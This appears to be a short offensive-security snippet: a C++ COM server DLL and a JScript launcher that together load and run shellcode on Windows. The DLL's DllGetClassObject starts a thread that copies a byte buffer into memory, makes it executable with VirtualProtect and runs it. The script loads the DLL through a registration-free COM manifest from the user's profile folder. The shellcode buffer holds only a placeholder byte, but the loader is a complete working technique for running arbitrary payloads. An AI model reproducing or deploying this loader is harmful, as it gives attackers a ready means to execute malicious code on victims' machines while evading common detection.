Simple example of a COM server to run some shellcode

dllmain.cpp

// build and place in directory specified in the script.js file
// need to export DllCanUnloadNow, DllRegisterServer, DllUnregisterServer, DllGetClassObject

#include <Windows.h>
#include <comutil.h> // #include for _bstr_t
#include <string>
#include "Data.h"

DWORD MyThread();

UINT g_uThreadFinished;
extern UINT g_uThreadFinished;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH)
	{
		g_uThreadFinished = 0;
	}
	return TRUE;
}

STDAPI DllCanUnloadNow(void)
{
	// Ensure our thread can finish before we're unloaded
	do
	{
		Sleep(1);
	} while (g_uThreadFinished == 0);
	return S_OK;
}
STDAPI DllRegisterServer(void)
{
	return S_OK;
}
STDAPI DllUnregisterServer(void)
{
	return S_OK;
}

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MyThread, NULL, 0, NULL);
	return CLASS_E_CLASSNOTAVAILABLE;
}

// shellcode below
unsigned char data[] = { 0x00 };
int datalen = 1;

DWORD MyThread()
{
	DWORD old;
	SIZE_T shellcodeSize = (SIZE_T)datalen;
	PVOID shellcode = LocalAlloc(LPTR, shellcodeSize);
	CopyMemory(shellcode, data, shellcodeSize);
	if (!VirtualProtect(shellcode, shellcodeSize, PAGE_EXECUTE_READWRITE, &old))
		return FALSE;

	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);

	g_uThreadFinished = 1;
	return 0;
}

script.js

var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="MyCOMObject" version="2.2.0.0"/> <file name="File.dll"> <comClass description="MyCOMObject Class" clsid="{67E11FF1-C068-4C48-A1F5-69A882E0E99A}" threadingModel="Both" progid="MyCOMObject"/></file></assembly>'
 
var s = new ActiveXObject('WScript.Shell')
var path = s.ExpandEnvironmentStrings("%USERPROFILE%") + "\\"
// this will look for our COM DLL in the path noted above, the file name is indicated in the manifest
s.Environment('Process')('TMP') = path;
 
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;
 
try {
        var dwx = actCtx.CreateObject("MyCOMObject");
} catch (e) { }